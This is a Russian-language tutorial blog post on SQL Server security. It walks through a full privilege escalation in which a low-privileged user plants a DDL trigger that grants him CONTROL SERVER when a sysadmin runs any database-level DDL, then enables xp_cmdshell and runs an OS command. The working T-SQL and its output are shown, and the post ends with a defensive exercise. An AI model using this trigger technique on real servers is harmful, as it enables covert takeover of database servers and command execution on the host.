Эскалация привилегий при помощи DDL-триггеров
В предыдущей задаче (см.пост от 05.12.2009, п.5) пользователь alexejs находился в роли sysadmin. На самом деле это совершенно необязательно, т.к. триггер выполняется в контексте пользователя, вызвавшего его срабатывание, в данном случае изменение членства в роли. Пользователю alexejs достаточно иметь права на создание триггера на какую-нибудь DDL-операцию, чтобы заложить туда мину. Когда ничего не подозревающий сисадмин в лице девушки Юли ее выполнит, мина сработает от ее имени и в контексте ее прав. Пользователь alexejs может этим воспользоваться, чтобы незаметно поднять себе права или выполнить еще какие-нибудь нехорошие действия. Здесь необходимо принимать во внимание психологический аспект. Если бы alexejs написал то же в виде процедуры, принес бы ее девушке Юле и сказал, на, выполни, та, скорее всего, насторожилась бы. Но от безобидной операции навроде создания таблицы или добавления колонки или и т.д. она инстинктивно не ждет подвохов, чем в данном случае могут воспользоваться разные недобросовестные личности.
Понятно, что в здравом уме никто не даст пользователю alexejs сисадминских полномочий. Его вообще, по-хорошему, не стоило пускать на сервер. Однако там имеется база данных blog, с которой, к сожалению, он должен работать.
use master
if exists(select 1 from sys.databases where name = 'blog') begin
alter database blog set single_user with rollback immediate
drop database blog
end
create database blog
if exists(select 1 from sys.server_principals where name = 'alexejs') drop login alexejs
create login alexejs with password = 'isvrus', check_policy = off, default_database = blog
use blog
if exists(select 1 from sys.database_principals where name = 'alexejs') drop user alexejs
create user alexejs from login alexejs
grant alter on database::blog to alexejs
Скрипт 1
По каким-то своим темным соображениям пользователь alexejs хотел бы иметь включенной xp_cmdshell на сервере, но его прав на то, чтобы ее включить, не хватает.
exec sp_configure 'xp_cmdshell', 1
Msg 15247, Level 16, State 1, Procedure sp_configure, Line 94
User does not have permission to perform this action.
Скрипт 2
select * from fn_my_permissions(null, 'server') order by subentity_name, permission_name
entity_name subentity_name permission_name
-------------------------------------------------------------------------
server CONNECT SQL
server VIEW ANY DATABASE
(2 row(s) affected)
Скрипт 3
Просить девушку Юлю об этом бессмысленно, т.к. она собирается проходить сертификацию Works with SQL Server 2008 и специально задисейблила xp_cmdshell. Поэтому alexejs создает в БД blog таблицу с неприличным названием
if OBJECT_ID(' Неприличное слово', 'U') is not null drop table [Неприличное слово]
create table [Неприличное слово] (id int identity)
Скрипт 4
и DDL-триггер
if exists(select 1 from sys.triggers where parent_class_desc = 'DATABASE' and name = 'Zakladka')
drop trigger Zakladka on database
go
create trigger Zakladka on database for DDL_DATABASE_LEVEL_EVENTS as
if is_srvrolemember('sysadmin') = 1
exec sp_executesql N'use master; grant control server to alexejs'
go
Скрипт 5
который он для гарантии вешает сразу на все операции уровня базы, потому что когда девушка Юля увидит неприличное слово, ее терпение может закончиться и она начнет, например, не с переименования этой таблицы, а с удаления пользователя alexejs.
use blog
drop user alexejs
Command(s) completed successfully.
Скрипт 6
В триггере проверяется, что его вызвал сисадмин, после чего от имени этого сисадмина пользователю alexejs выдаются права управления сервером. Это немножко меньше, чем явное включение в серверную роль sysadmin, например, alexejs не сможет сделать exec sp_dropsrvrolemember 'julia', 'sysadmin', но для наших нужд достаточно. Проверим по-новой права alexejs на сервере после того, как закладка сработает:
select * from fn_my_permissions(null, 'server') order by subentity_name, permission_name
entity_name subentity_name permission_name
-------------------------------------------------------------------------
server ADMINISTER BULK OPERATIONS
server ALTER ANY CONNECTION
server ALTER ANY CREDENTIAL
server ALTER ANY DATABASE
server ALTER ANY ENDPOINT
server ALTER ANY EVENT NOTIFICATION
server ALTER ANY LINKED SERVER
server ALTER ANY LOGIN
server ALTER ANY SERVER AUDIT
server ALTER RESOURCES
server ALTER SERVER STATE
server ALTER SETTINGS
server ALTER TRACE
server AUTHENTICATE SERVER
server CONNECT SQL
server CONTROL SERVER
server CREATE ANY DATABASE
server CREATE DDL EVENT NOTIFICATION
server CREATE ENDPOINT
server CREATE TRACE EVENT NOTIFICATION
server EXTERNAL ACCESS ASSEMBLY
server SHUTDOWN
server UNSAFE ASSEMBLY
server VIEW ANY DATABASE
server VIEW ANY DEFINITION
server VIEW SERVER STATE
Скрипт 7
У меня такое чувство, что этот список несколько расширился по сравнению с тем, что мы видели поначалу (Скрипт 3).
После этого пользователь alexejs как ни в чем не бывало заходит в БД blog, из которой его только что убила девушка Юля. Сработавший при этом триггер выдал логину права, в частности, на ALTER ANY DATABASE, поэтому он немедленно в ней возродился. Более того, теперь он может заходить и модифицировать не только БД blog, но и все остальные базы на сервере, к которым раньше у него не было доступа, а также выполнять большинство серверных операций. В частности, привилегия ALTER SETTINGS позволяет ему включить xp_cmdshell, из-за которой (Скрипт 2) затеялся весь этот сыр-бор
exec sp_configure 'xp_cmdshell', 1
reconfigure with override
exec xp_cmdshell 'dir c:\'
Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.
output
----------------------------------------------------------------------------------------------------
Volume in drive C has no label.
Volume Serial Number is 5019-C968
NULL
Directory of c:\
NULL
11/06/2009 12:42 AM 24 autoexec.bat
11/06/2009 12:42 AM 10 config.sys
08/10/2009 06:53 AM <DIR> Demo
28/11/2009 02:28 PM <DIR> Distrib
01/10/2009 10:22 AM <DIR> inetpub
07/10/2009 11:15 AM <DIR> My Documents
14/07/2009 05:37 AM <DIR> PerfLogs
11/11/2009 01:02 PM <DIR> Program Files
09/12/2009 09:54 PM <DIR> Temp
11/11/2009 01:26 PM <DIR> Users
21/10/2009 02:29 AM <DIR> Windows
2 File(s) 34 bytes
9 Dir(s) 115,160,350,720 bytes free
NULL
(19 row(s) affected)
Скрипт 8
Домашнее задание.
Как должна была действовать девушка Юля, чтобы осуществить задуманное (переименовать таблицу, дропнуть пользователя), но при этом не наступить на грабли, подложенные пользователем alexejs? Выявление и обезвреживание триггера не рассматриваем, т.к. это тривиально. Триггер пусть остается висеть взведенным.
Алексей Шуленин